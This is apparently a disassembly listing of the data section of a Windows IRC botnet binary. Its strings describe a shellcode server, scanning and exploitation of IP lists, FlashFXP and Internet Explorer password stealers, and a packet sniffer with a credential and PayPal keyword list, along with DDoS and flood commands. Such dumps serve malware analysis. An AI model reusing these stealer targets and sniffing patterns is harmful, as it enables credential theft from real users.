					; DATA XREF: .packed:0041CBDCo
					; .packed:0041DB5Co
		dd 0CDF1A2ECh, 0B8h, 0
dword_41CC58	dd 0A2D9CBE8h, 2 dup(0)					; .packed:0041DB54o
dword_41CC64	dd 0FA8C89B9h, 0D2E0F9ADh, 0FDDCE0B4h, 0F2B5F6BEh, 0F9839DAFh
					; DATA XREF: .packed:0041CBD0o
					; .packed:0041DB50o
		dd 0C1BCE4F6h, 0E1BAh, 0
dword_41CC84	dd 0A2D6CEEDh, 2 dup(0)					; .packed:0041DB48o
dword_41CC90	dd 0F68193BBh, 0C5F3E2ADh, 0BC81F8BCh, 0E9A5F1A4h, 0FFC189A8h
					; DATA XREF: .packed:0041CBC4o
					; .packed:0041DB44o
		dd 0F8E6h, 0
dword_41CCAC	dd 0A9DCC5ECh, 2 dup(0)					; .packed:0041DB3Co
dword_41CCB8	dd 0F48193BBh, 0C3FEEEADh, 0A79CE7B6h, 0E2B3F1A8h, 0BF9C9FBBh
					; DATA XREF: .packed:0041CBB8o
					; .packed:0041DB38o
		dd 0FFE3E0h, 0
dword_41CCD4	dd 0A9DDC5E6h, 2 dup(0)					; .packed:0041DB30o
dword_41CCE0	dd 0FA8A99ABh, 0D1FAE5ADh, 0F68CFFBDh, 0EDAFFAE3h, 2 dup(0)
					; DATA XREF: .packed:0041CBACo
					; .packed:0041DB2Co
dword_41CCF8	dd 0A5DCCEEDh, 2 dup(0)					; .packed:off_41DB24o
dword_41CD04	dd 0F48A8EAFh, 0CBFDA2E8h, 0A69DE8BDh, 0EEEEFDA9h, 88BAh
					; DATA XREF: .packed:off_41CBA0o
					; .packed:off_41DB20o
		dd 0
dword_41CD1C	dd 72h		dword_41CD20	dd 62h		dword_41CD24	dd 63h		dword_41CD28	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_412E04+64o
		dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh
		dd 2074726Fh, 2343003h,	2037325h, 0
dword_41CD60	dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h
					; DATA XREF: sub_412F07+98o
		dd 74726F70h, 34300320h, 3752502h, 2, 0
byte_41CD88	db 0BBh			; DATA XREF: sub_41294E+3Co
					; sub_41294E+4Co ...
		db 9Fh,	80h, 0FCh
		dd 0B1h, 2 dup(0)
		dd 0EE000000h, 0DACFh, 3 dup(0)
		db 2 dup(0)
dword_41CDAE	dd 0							; sub_412FC6+31r ...
dword_41CDB2	dd 0							; sub_414052+B5r ...
off_41CDB6	dd offset sub_410649	; DATA XREF: sub_41294E+1Cr
					; sub_412FC6+18r ...
		dw 3
		dd 0
		dd 99B10000h, 0F8E2E19Bh, 0FAh,	2 dup(0)
		dd 0DAC8EB00h, 6 dup(0)
		dd offset sub_410B52
		dd 3, 10h dup(0)
dword_41CE38	dd 6E695728h, 293233hdword_41CE40	dd 696E5528h, 2978hdword_41CE48	dd 63617041h, 252F6568h, 75haApache		db 'Apache',0           ; DATA XREF: sub_41308F+1B9o
		align 4
aMicrosoftIisU_	db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o
aMicrosoftIis	db 'Microsoft-IIS',0    ; DATA XREF: sub_41308F+FCo
		align 10h
aServer		db 'Server:',0          ; DATA XREF: sub_41308F+7Ao
aOptionsHttp1_0	db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo
		db 0Dh,0Ah,0
		align 10h
unk_41CEA0	db  53h	; S		; DATA XREF: sub_41349C+5E4o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db    3
		db 30h,	34h, 2
		db  25h	; %
		db 73h,	3, 2
		db  3Ah	; :
		db 25h,	73h, 20h
		db  69h	; i
		db 6Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  30h	; 0
		db 2Eh,	32h, 66h
		db    3
		db 2, 73h, 65h
		db  63h	; c
		db 2Eh,	20h, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aOpenIpSFound	db 'open IP(s) found',0
		align 4
dword_41CEE4	dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h
					; DATA XREF: sub_41349C+55Eo
dword_41CEF8	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_41349C+343o
		dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h
		dd 2037525h, 63657320h,	28646E6Fh, 2973h
dword_41CF30	dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h
					; DATA XREF: sub_41349C+305o
		dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h
		dd 297328h
unk_41CF5C	db  53h	; S		; DATA XREF: sub_413AB0+1DCo
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 69h,	6Eh, 67h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	73h, 3
		db    2
		db 3Ah,	25h, 73h
		db  20h
		db 66h,	6Fh, 72h
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aSecondSTUSU	db ' second(s), t:%u s:%u',0
		align 4
dword_41CF94	dd 3430032Dh, 3752502h,	41202D02h, 6D657474h, 64657470h
					; DATA XREF: sub_413CB3+30Eo
		dd 34300320h, 3752502h,	78652002h, 696F6C70h, 69746174h
		dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h
		dd 2E297328h, 0
dword_41CFD8	dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h
					; DATA XREF: sub_413CB3+2B0o
		dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h
		dd 2037325h, 2E2E2Eh
unk_41D008	db  2Dh	; -		; DATA XREF: sub_413CB3+31o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aAttemptingTo_0	db '- Attempting to exploit IP',27h,'s in list.',0
		align 4
aAttemptingToEx	db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o
dword_41D05C	dd 3003203Ah, 75250234h, 202E0203h, 0aExploitStatist	db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o
		align 4
aListingExploit	db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo
		align 10h
dword_41D0A0	dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h
					; DATA XREF: sub_4141C1+D8o
		dd 34300320h, 3732502h,	6F702002h, 3207472h, 25023430h
		dd 2E020373h, 0
dword_41D0D0	dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h
					; DATA XREF: sub_4141C1+B4o
		dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h
		dd 2037325h, 3430033Ah,	3732502h, 202E02h
dword_41D108	dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h
					; DATA XREF: sub_4141C1+78o
		dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h
		dd 203736Dh, 2Eh
dword_41D138	dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h
					; DATA XREF: sub_4142BF+D8o
		dd 30032074h, 73250234h, 203h
unk_41D158	db  53h	; S		; DATA XREF: sub_4143B0+221o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db  25h	; %
		db 73h,	20h, 69h
		db  6Eh	; n
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 30h
		db  2Eh	; .
		db 32h,	66h, 3
		db    2
		db 73h,	65h, 63h
		db  2Eh	; .
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 6Fh
aPenPortSFound	db 'pen port(s) found',0
		align 4
dword_41D194	dd 33A7325h, 25023430h,	20020373h, 6F207369h, 6E6570h
					; DATA XREF: sub_4143B0+1BAo
dword_41D1A8	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_4143B0+81o
		dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh
		dd 3752502h, 69772002h,	3206874h, 25023430h, 20020375h
		dd 6B636F73h, 73287465h, 29h
dword_41D1F0	dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h
					; DATA XREF: sub_414600+1BEo
		dd 3752502h, 30032D02h,	75250234h, 77200203h, 20687469h
		dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h
aYa36za48dehfrv	db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o
					; sub_4147E5+C6o
		align 4
aSflashfxpSites	db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o
		align 4
aFlashfxpSites_	db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o
aProgramfiles	db 'ProgramFiles',0     ; DATA XREF: sub_4148CE+ABo
		align 4
aSites_dat	db 'sites.dat',0        ; DATA XREF: sub_4148CE:loc_414945o
		align 4
aFlashfxp_exe1	db 'FlashFXP.exe %1',0  ; DATA XREF: sub_4148CE+57o
aSoftwareClasse	db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0
					; DATA XREF: sub_4148CE+15o
		align 4
unk_41D2E4	db  2Dh	; -		; DATA XREF: sub_414A1E+464o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 2Fh, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aFlashfxpPass_0	db 'FlashFXP password(s).',0
		align 10h
dword_41D320	dd 2343003h, 2037525ha_FlashfxpFtpSS	db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0
aPass127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+352o
		db 'Pass=%127s',0Dh,0Ah,0
		align 4
aUser127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+338o
		db 'User=%127s',0Dh,0Ah,0
		align 4
aPort127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+31Eo
		db 'Port=%127s',0Dh,0Ah,0
		align 4
aIp127s		db 0Dh,0Ah		; DATA XREF: sub_414A1E+304o
		db 'IP=%127s',0Dh,0Ah,0
		align 4
asc_41D38C	db '[%[^]]]',0Dh,0Ah,0  ; DATA XREF: sub_414A1E+2EAo
		align 4
aPass_0		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1F4o
		db 'Pass=',0
aUser_0		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1DCo
		db 'User=',0
aPort		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1C4o
		db 'Port=',0
aIp		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1ACo
		db 'IP=',0
		align 4
asc_41D3B8	db 0Dh,0Ah		; DATA XREF: sub_414A1E:loc_414BA6o
		db 0Dh,0Ah
		db '[',0
		align 10h
unk_41D3C0	db  2Dh	; -		; DATA XREF: sub_414A1E+55o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingFlashfx	db '- Listing FlashFXP passwords',0
		align 4
aFlashfxpPasswo	db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo
		align 4
unk_41D404	db  2Dh	; -		; DATA XREF: sub_414EF4+B8Ao
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 69h
aNternetExplore	db 'nternet explorer password(s).',0
		align 10h
dword_41D440	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh
					; DATA XREF: sub_414EF4+AD8o
		dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh
		dd 203A6574h, 2343003h,	2037325h, 614E202Eh, 203A656Dh
		dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h
		dd 2343003h, 2037325h, 2Eh
dword_41D49C	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh
					; DATA XREF: sub_414EF4+A2Bo
		dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h
		dd 3203A64h, 25023430h,	2E020373h, 74614420h, 3203A61h
		dd 25023430h, 2E020373h, 0
dword_41D4E4	dd 70747468h, 2F3A73hdword_41D4EC	dd 70747468h, 2F3Ahdword_41D4F4	dd 7274533Ah, 676E69h					; sub_414EF4+99Ao
aStringindex	db 'StringIndex',0      ; DATA XREF: sub_414EF4+968o
aE161255a	db 'e161255a',0         ; DATA XREF: sub_414EF4:loc_415842o
		align 4
dword_41D514	dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h
					; DATA XREF: sub_414EF4+935o
		dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
dword_41D554	dd 2Ch							; sub_414EF4+852o ...
aB9819c52	db 'b9819c52',0         ; DATA XREF: sub_414EF4:loc_4155CEo
		align 4
dword_41D564	dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h
					; DATA XREF: sub_414EF4+6C6o
		dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h
		dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h
		dd 2037325h, 6150202Eh,	6F777373h, 203A6472h, 2343003h
		dd 2037325h, 2Eh
a5e7e8100	db '5e7e8100',0         ; DATA XREF: sub_414EF4:loc_41550Co
		align 4
dword_41D5C8	dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh
					; DATA XREF: sub_414EF4+604o
		dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
a220d5cc1	db '220d5cc1',0         ; DATA XREF: sub_414EF4+5C2o
		align 4
aWs		db '%ws',0              ; DATA XREF: sub_414EF4+41Co
asc_41D618	db '%x',0               ; DATA XREF: sub_414EF4+234o
		align 4
unk_41D61C	db  2Dh	; -		; DATA XREF: sub_414EF4+1A9o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingInterne	db '- Listing internet explorer passwords',0
		align 10h
dword_41D650	dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh					; sub_414EF4+2C7o ...
aInternetExplor	db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o
		align 4
dword_41D684	dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h
					; DATA XREF: sub_415B60+277o
		dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah
		dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h
		dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h
		dd 3732502h, 57202E02h,	646C726Fh, 20664F20h, 63726157h
		dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h
		dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h
		dd 2Eh
aSoftwareValveS	db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o
		align 4
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0
					; DATA XREF: sub_415B60+10Ao
		align 4
aConquer	db '[Conquer]',0        ; DATA XREF: sub_415B60:loc_415C2Fo
		align 4
aWorldOfWarcraf	db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo
		align 4
aUnreal3	db 'Unreal3',0          ; DATA XREF: sub_415B60+8Co
aListingInteres	db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo
		align 4
off_41D7B4	dd offset aUser_1	; DATA XREF: sub_415EB7+32o
					; "user	"
		dd offset aUnknown_1	; "unknown "
		dd offset aPass_2	; "pass	"
		dd offset aMailpass	; "MailPass "
		dd offset aOper		; "oper	"
		dd 0
		dd offset aIdentify	; "identify "
		dd 0
		dd offset aAuth_0	; " :auth "
		dd 0
		dd offset aPasswd_0	; "passwd="
		dd 0
		dd offset aUsername_0	; "username="
		dd 0
		dd offset aPassword_0	; "password="
		dd 0
		dd offset aLogin_1	; "login="
		dd 0
		dd offset aPass_1	; "pass="
		dd 0
		dd offset aPw		; "pw="
		align 10h
off_41D810	dd offset aLogin_0	; DATA XREF: sub_415EB7+54o
					; "login "
		align 8
		dd offset aSxt		; "sxt "
		align 10h
		dd offset aAuth		; "auth	"
		align 8
		dd offset aPasswort	; "passwort "
		align 10h
		dd offset aCdkey	; "cdkey"
		align 8
		dd offset aCdKey_0	; "cd-key"
		align 10h
		dd offset aCdKey	; "cd key"
		align 8
		dd offset aPassword	; "password"
		align 10h
		dd offset aPaypal_com	; "paypal.com"
		align 8
		dd offset aPaypal	; "paypal"
		align 10h
		dd offset aIrcOperator	; "irc operator"
		align 8
		dd offset aLP		; "l/p"
		align 10h
		dd offset aSsh1_5	; "SSH-1.5"
		align 8
		dd offset aSsh1_99	; "SSH-1.99"
		dd 2 dup(0)
off_41D884	dd offset aSetCookie	; DATA XREF: sub_415EB7+76o
					; "Set-Cookie:"
		dd 0
		dd offset aSyn		; "syn"
		dd 0
		dd offset aFlood	; "flood "
		dd 0
		dd offset aClone	; "clone "
		dd 0
		dd offset aServU_0	; "serv-u"
		dd 0
		dd offset aServU	; "serv	u"
		dd 0
		dd offset aServu	; "servu"
		dd 0
		dd offset aDdos		; "ddos"
		dd 2 dup(0)
off_41D8C8	dd offset dword_41D924	; DATA XREF: sub_415EB7+98o
		align 10h
		dd offset dword_41D91C
		align 8
		dd offset dword_41D914
		align 10h
		dd offset dword_41D90C
		align 8
		dd offset dword_41D904
		align 10h
		dd offset dword_41D8FC
		dd 2 dup(0)
dword_41D8FC	dd 54495551h, 20hdword_41D904	dd 54524150h, 20hdword_41D90C	dd 4E494F4Ah, 20hdword_41D914	dd 49504F54h, 2043hdword_41D91C	dd 49544F4Eh, 204543hdword_41D924	dd 56495250h, 2047534Dh, 0aDdos		db 'ddos',0             ; DATA XREF: .packed:0041D8BCo
		align 4
aServu		db 'servu',0            ; DATA XREF: .packed:0041D8B4o
		align 10h
aServU		db 'serv u',0           ; DATA XREF: .packed:0041D8ACo
		align 4
aServU_0	db 'serv-u',0           ; DATA XREF: .packed:0041D8A4o
		align 10h
aClone		db 'clone ',0           ; DATA XREF: .packed:0041D89Co
		align 4
aFlood		db 'flood ',0           ; DATA XREF: .packed:0041D894o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: .packed:0041D88Co
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: .packed:off_41D884o
aSsh1_99	db 'SSH-1.99',0         ; DATA XREF: .packed:0041D878o
		align 4
aSsh1_5		db 'SSH-1.5',0          ; DATA XREF: .packed:0041D870o
aLP		db 'l/p',0              ; DATA XREF: .packed:0041D868o
aIrcOperator	db 'irc operator',0     ; DATA XREF: .packed:0041D860o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: .packed:0041D858o
		align 10h
aPaypal_com	db 'paypal.com',0       ; DATA XREF: .packed:0041D850o
		align 4
aCdKey		db 'cd key',0           ; DATA XREF: .packed:0041D840o
		align 4
aCdKey_0	db 'cd-key',0           ; DATA XREF: .packed:0041D838o
		align 4
aCdkey		db 'cdkey',0            ; DATA XREF: .packed:0041D830o
		align 4
aPasswort	db 'passwort ',0        ; DATA XREF: .packed:0041D828o
		align 10h
aAuth		db 'auth ',0            ; DATA XREF: .packed:0041D820o
		align 4
aSxt		db 'sxt ',0             ; DATA XREF: .packed:0041D818o
		align 10h
aLogin_0	db 'login ',0           ; DATA XREF: .packed:off_41D810o
		align 4
aPw		db 'pw=',0              ; DATA XREF: .packed:0041D804o
aPass_1		db 'pass=',0            ; DATA XREF: .packed:0041D7FCo
		align 4
aLogin_1	db 'login=',0           ; DATA XREF: .packed:0041D7F4o
		align 4
aPassword_0	db 'password=',0        ; DATA XREF: .packed:0041D7ECo
		align 4
aUsername_0	db 'username=',0        ; DATA XREF: .packed:0041D7E4o
		align 4
aPasswd_0	db 'passwd=',0          ; DATA XREF: .packed:0041D7DCo
aAuth_0		db ' :auth ',0          ; DATA XREF: .packed:0041D7D4o
aIdentify	db 'identify ',0        ; DATA XREF: .packed:0041D7CCo
		align 10h
aOper		db 'oper ',0            ; DATA XREF: .packed:0041D7C4o
		align 4
aMailpass	db 'MailPass ',0        ; DATA XREF: .packed:0041D7C0o
		align 4
aPass_2		db 'pass ',0            ; DATA XREF: .packed:0041D7BCo
		align 4
aUnknown_1	db 'unknown ',0         ; DATA XREF: .packed:0041D7B8o
		align 4
aUser_1		db 'user ',0            ; DATA XREF: .packed:off_41D7B4o
		align 10h
dword_41DA60	dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h
					; DATA XREF: sub_415F69+5CEo
		dd 3206D6Fh, 25023430h,	3A020373h, 2343003h, 2037525h
		dd 73253E2Dh, 2075253Ah, 0
unk_41DA94	db  2Dh	; -		; DATA XREF: sub_415F69+1A6o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  65h	; e
		db 76h,	65h, 6Ch
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aPacketSnifferR	db ' packet sniffer running',0
		align 4
dword_41DAC8	dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h
					; DATA XREF: sub_41665C+8Eo
		dd 6E732074h, 65666669h, 72h, 41DAECh, 0FD8093AFh, 0D2E6E2ADh
		dd 0A99AE3FBh, 2 dup(0)
dword_41DB00	dd 0E3F44AC0h						; .packed:00416845r ...
dword_41DB04	dd 94CFA2BAh	dword_41DB08	dd 11B29A82h	dword_41DB0C	dd 2B0ED8BCh			dd 2 dup(0)
off_41DB18	dd offset dword_41DE20	; DATA XREF: sub_40E618+1C3r
					; sub_40E618+1D5r ...
		align 10h
off_41DB20	dd offset dword_41CD04	; DATA XREF: sub_40A9CF+7B3r
					; sub_40CF2F+82r ...
off_41DB24	dd offset dword_41CCF8	; DATA XREF: sub_40CF2F+B8r
dword_41DB28	dd 0							; sub_40CF2F+DFr
		dd offset dword_41CCE0
		dd offset dword_41CCD4
		align 8
		dd offset dword_41CCB8
		dd offset dword_41CCAC
		dd 0
		dd offset dword_41CC90
		dd offset dword_41CC84
		align 10h
		dd offset dword_41CC64
		dd offset dword_41CC58
		dd 0
		dd offset dword_41CC38
		dd offset dword_41CC2C
		align 8
		dd offset dword_41CC0C
		dd offset dword_41CC00
		dd 4 dup(0)
dword_41DB80	dd 0AED0C3E0h, 9DADB3BCh, 2 dup(0)					; sub_40D871:loc_40DCB8o
dword_41DB90	dd 77697323h, 61h, 1Eh dup(0)					; sub_4093B6+6Co ...
byte_41DC10	db 0FCh			; DATA XREF: sub_40D043+28Cr
					; sub_40D043+297o
		db 8Fh,	9Ah, 0E1h
		dd 0CBE1FEE6h, 0EDA2h, 1Dh dup(0)
byte_41DC90	db 0			; DATA XREF: sub_40D043+2B3r
					; sub_40D043+2BEo
		align 4
		dd 1Fh dup(0)
dword_41DD10	dd 3430032Eh, 2036202h,	0					; sub_40D871+242o
dword_41DD1C	dd 0F28D99A8h, 8CA0BFEFh, 84E0B1h, 3Eh dup(0)					; sub_406AE7+2Eo
dword_41DE20	dd 0F58EBCF5h, 8CFCE5EEh, 0AF9FE5A6h, 0E8A3FCB9h, 0FC809FF1h
					; DATA XREF: .packed:off_41DB18o
		dd 2 dup(0)
dword_41DE3C	dd 3430032Dh, 62656402h, 2036775haEipHasLeftTheE	db '- eip has left the endless loop for some reason...',0
		align 4
aEntry		db 'entry',0            ; DATA XREF: .packed:00416AE7o
		align 4
aLoop		db 'loop',0             ; DATA XREF: .packed:loc_416AC5o
		align 4
aPing08x	db 'PING :%08X',0       ; DATA XREF: .packed:00416A54o
		align 4
a08xX08x3x08x08	db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: .packed:0041684Bo
		align 10h
dword_41DEB0	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_41DEC0	dd offset off_4172BC	; DATA XREF: .packed:off_4172C0o
					; .packed:004172FCo ...
		align 8
a_?av_com_error	db '.?AV_com_error@@',0
		align 10h
off_41DEE0	dd offset off_4172BC	; DATA XREF: .packed:off_417308o
					; .packed:00417344o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
dword_41DEF8	dd 0							; sub_401856+21r ...
dword_41DEFC	dd 0							; sub_401856+36r ...
dword_41DF00	dd 0							; sub_401856+4Br ...
dword_41DF04	dd 0							; sub_401856+Cr ...
		dd 0
dword_41DF0C	dd 0							; sub_4018AF+62r ...
byte_41DF10	db 0			; DATA XREF: sub_401981+1BAo
					; sub_402A32+57r ...
		align 8
dword_41DF18	dd 0							; sub_404CBB+1Br ...
dword_41DF1C	dd 0		dword_41DF20	dd 0		; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCount					; sub_409C36+12r ...
		align 8
dword_41DF28	dd 0		dword_41DF2C	dd 0		dword_41DF30	dd 0		dword_41DF34	dd 0		dword_41DF38	dd 0		dword_41DF3C	dd 0		dword_41DF40	dd 0		dword_41DF44	dd 0		dword_41DF48	dd 0		dword_41DF4C	dd 0		dword_41DF50	dd 0		dword_41DF54	dd 0		dword_41DF58	dd 0		dword_41DF5C	dd 0		; resolved to->WININET.InternetGetConnectedStateExA					; sub_408B30+118r ...
dword_41DF60	dd 0							; sub_414EF4+6Cr ...
dword_41DF64	dd 0		; resolved to->WS2_32.getaddrinfo					; sub_403BD3+197r ...
dword_41DF68	dd 0		; resolved to->WS2_32.getnameinfo					; sub_403BD3+17Fw ...
dword_41DF6C	dd 0		; resolved to->WS2_32.freeaddrinfo					; sub_403BD3+1A9r ...
		dd 101h	dup(0)
dword_41E374	dd 0							; sub_4042FB+20o
dword_41E378	dd 0							; sub_4042FB:loc_404327r
		align 10h
dword_41E380	dd 0							; sub_405FA3+7Ar ...
dword_41E384	dd 0							; sub_405FA3+83r ...
dword_41E388	dd 0							; sub_405FA3+8Cr ...
dword_41E38C	dd 0							; sub_405FA3+71r ...
dword_41E390	dd 7 dup(0)						; sub_406041+Bo ...
byte_41E3AC	db 0			; DATA XREF: sub_405FA3+95w
					; sub_406041+16r
		align 10h
dword_41E3B0	dd 0							; sub_409226+77w ...
		align 8
dword_41E3B8	dd 6 dup(0)						; sub_4095A4+6o ...
dword_41E3D0	dd 0							; sub_4095A4+11r ...
		align 8
dword_41E3D8	dd 0							; sub_4095A4+57r ...
dword_41E3DC	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_409DD0+65w ...
dword_41E3E0	dd 0							; sub_409DD0+44r ...
dword_41E3E4	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_409DD0+91w ...
dword_41E3E8	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_409DD0+7Bw ...
		align 10h
byte_41E3F0	db 0			; DATA XREF: sub_409DD0+29r
					; sub_409DD0+96w
		align 4
		dd 101h	dup(0)
byte_41E7F8	db 0			; DATA XREF: sub_40CF2F+4Bo
					; sub_40CF2F+5Eo ...
		align 4
		dd 5Fh dup(0)
dword_41E978	dd 40h dup(0)						; sub_40CF2F+A6o ...
dword_41EA78	dd 3 dup(0)						; sub_40CF2F+36o ...
dword_41EA84	dd 0							; sub_40D366+15r ...
		dd 0
dword_41EA8C	dd 0							; sub_40E618:loc_40E66Dw
byte_41EA90	db 0			; DATA XREF: sub_40E979+1Dw
					; sub_40E979+46w ...
		align 4
		dd 40h dup(0)
byte_41EB94	db 0			; DATA XREF: sub_40ECEB+29o
					; sub_40ECEB+35o ...
		align 4
		dd 4 dup(0)
dword_41EBA8	dd 5 dup(0)						; sub_40ED6E+35o ...
dword_41EBBC	dd 0							; sub_410318+7w ...
dword_41EBC0	dd 0							; sub_410318+11w ...
dword_41EBC4	dd 0							; sub_410318+1Bw ...
dword_41EBC8	dd 0							; sub_410318+25w ...
		align 10h
byte_41EBD0	db 0			; DATA XREF: sub_41055F+29o
					; sub_41055F+35o ...
		align 4
		dd 5 dup(0)
dword_41EBE8	dd 2 dup(0)	dword_41EBF0	dd 0		dword_41EBF4	dd 2 dup(0)	dword_41EBFC	dd 0							; sub_4127D0+16w
dword_41EC00	dd 0							; sub_4127D0:loc_4128A0r
dword_41EC04	dd 2 dup(0)						; sub_412E04+7Fo
dword_41EC0C	dd 41h dup(0)						; sub_407148+172o ...
dword_41ED10	dd 0							; .packed:00416909w
dword_41ED14	dd 0		dword_41ED18	dd 0		dword_41ED1C	dd 0		dword_41ED20	dd 42h dup(0)						; sub_40A9CF+C51o ...
dword_41EE28	dd 40h dup(0)						; sub_40A9CF+108Eo ...
byte_41EF28	db 0			; DATA XREF: sub_40D043+FFr
					; sub_40D043+10Ao ...
		align 4
		dd 1Fh dup(0)
byte_41EFA8	db 0			; DATA XREF: sub_403DF3:loc_403F07r
					; sub_403DF3+11Fo ...
		align 4
		dd 1Fh dup(0)
dword_41F028	dd 40h dup(0)						; sub_4055E5+746o ...
byte_41F128	db 0			; DATA XREF: sub_40A9CF+1F37o
					; sub_40D043:loc_40D0D6r ...
		align 4
		dd 3B5h	dup(0)
		dd 8000005Eh, 0A22A0000h, 8E1788D9h, 0B7205033h, 0C6C600B0h
